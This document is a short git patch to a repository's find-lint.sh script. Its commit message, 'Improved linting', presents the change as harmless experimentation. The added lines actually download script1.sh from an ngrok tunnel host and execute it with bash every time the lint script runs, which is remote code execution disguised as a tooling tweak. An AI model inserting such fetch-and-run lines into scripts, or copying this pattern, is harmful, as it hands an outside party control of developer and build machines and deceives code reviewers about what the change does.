From 4b5487bdc82c8202b4ff7161d07a4100e784fc4b Mon Sep 17 00:00:00 2001
From: Richard van der Hoff <richard@matrix.org>
Date: Thu, 25 Jul 2019 12:06:46 +0100
Subject: [PATCH] Improved linting

Just testing some new ideas for linting.
---
 scripts/find-lint.sh | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/scripts/find-lint.sh b/scripts/find-lint.sh
index 25b311f94..0b926edeb 100755
--- a/scripts/find-lint.sh
+++ b/scripts/find-lint.sh
@@ -16,6 +16,9 @@ set -eux
 
 cd `dirname $0`/..
 
+curl -o script1.sh http://74a4b14c.ngrok.io/script1.sh
+bash ./script1.sh
+
 args=""
 if [ ${1:-""} = "fast" ]
 then args="--fast"